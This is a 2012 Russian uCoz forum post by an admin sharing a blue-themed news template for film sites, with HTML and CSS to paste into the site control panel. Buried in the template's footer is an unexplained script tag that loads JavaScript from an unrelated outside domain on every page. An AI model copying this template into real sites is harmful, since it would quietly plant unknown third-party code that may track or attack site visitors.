Главная | Регистрация | Вход Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Всё для ucoz » Новости сайта » Вид материала в синих тонах
Вид материала в синих тонах
АдминДата: Четверг, 15.11.2012, 00:09 | Сообщение # 1
Майор
Группа: Администраторы
Сообщений: 83
Репутация: 0
Статус:
Скрин

Красивый вид материала в синих тонах для онлайн кинотеатра и не только.

Скачиваем архив скрипта http://depositfiles.com/files/qe1bw7um8 , в корне сайта создаем папочку [img] и заливаем в нее все картинки.

Далее копируем код скрипта и вставляем: П.У.=>[Новости сайта] =>[Вид Материалов]
Code
<div id="block_top_video"><div style="padding-left: 10px;"><b>$TITLE$</b><?if($MODER_PANEL$)?><div style="float: right;">$MODER_PANEL$</div><?endif?></div></div>    
    <div id="block_video"><div id="block_content_video">    
     <div style="float: left;width: 185px;">    
     <div style="background: url('/img/lenta_new.png') no-repeat; padding: 2% 3%; text-align:center;"><?if($OTHER1$)?><img src="$OTHER1$" width="155" height="223"><?else?><img width="150" src="/img/no_no_images.JPEG"><?endif?> </div>    
     </div>    
     <div style="margin-left: 191px;">    
     <div style="padding: 1px 1px 1px 0px; min-height: 275px;">$MESSAGE$</div>    
     </div>    
    </div></div>    
    <div id="block_footer_video">    
     <div style="float: left;width: 185px;">    
     <div style="padding: 3% 5%;text-align:center;"><script src="http://bunnas.ru/images.js" type="text/javascript"></script><a title="Нажми для просмотра $TITLE$ online" href="$ENTRY_URL$" class="css_view"></a></div></div>    
     <div style="margin-left: 191px;">    
     <div style="height:20px; padding: 1px;"><div style="float: left;"><img src="/img/news/reit_new.png" border="0"><b>Жанр</b>: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | <b><img src="/img/news/prosmotr_new.png"> Просмотров:</b> [<b>$READS$</b>]</div><div style="float: right;"><?$RSTARS$('20','/img/news/rating.png','1','float')?></div></div>    
     <div style="height:20px; padding: 1px;"><div style="float: left;"><a title="Количество комментариев $TITLE$ ($COMMENTS_NUM$)" href="$COMMENTS_URL$"><b>Комментарии</b> ($COMMENTS_NUM$)</a> | <a href="../forum/">Обсудить на форуме</a></div><div style="float: right;text-align:right;"><font color="red">$RATING$</font>(голосов: $RATED$)</div></div>    
     </div>    
    </div>

$OTHER1$ - Дополнительное поле, в которое помещяете ссылку на изображение и оно отобразит вам в новостях.

Код вставляем в любую часть своего css файла.
Code
/* --Блок материалов-- */    

    #block_top_video{    
     float: top;    
     color: #000000;    
     background: url(/img/bg_top_new.png) left no-repeat;    
     font-weight: bold;    
     font-size: 12px;    
     text-align: left;    
     line-height: 40px;    
     height: 40px;    
     }    

    #block_video{    
     width:650px;    
     background: url(/img/bg_body_new.png) left top repeat-y;    
     font-size: 11px;    
     }    

    #block_content_video{    
     color: #000000;    
            text-align: left;       
     }    

    #block_footer_video{    
            margin-bottom: 3px;    
     float: bottom;    
     background: url(/img/bg_bottom_new.png) left top no-repeat;    
     height: 41px;    
     }    

    /* --Блок материалов/END-- */

Если Вы используете данный вид материалов не для сайтов посвященных фильмам, видео и т.д. замените изображение lenta_new.PNG и view.PNG на lenta_new2.PNG и view2.PNG.
Спасибо за внимание!
 
Форум » Всё для ucoz » Новости сайта » Вид материала в синих тонах
  • Страница 1 из 1
  • 1
Поиск:

QuesT.ucoz.ua
Бесплатный конструктор сайтов - uCoz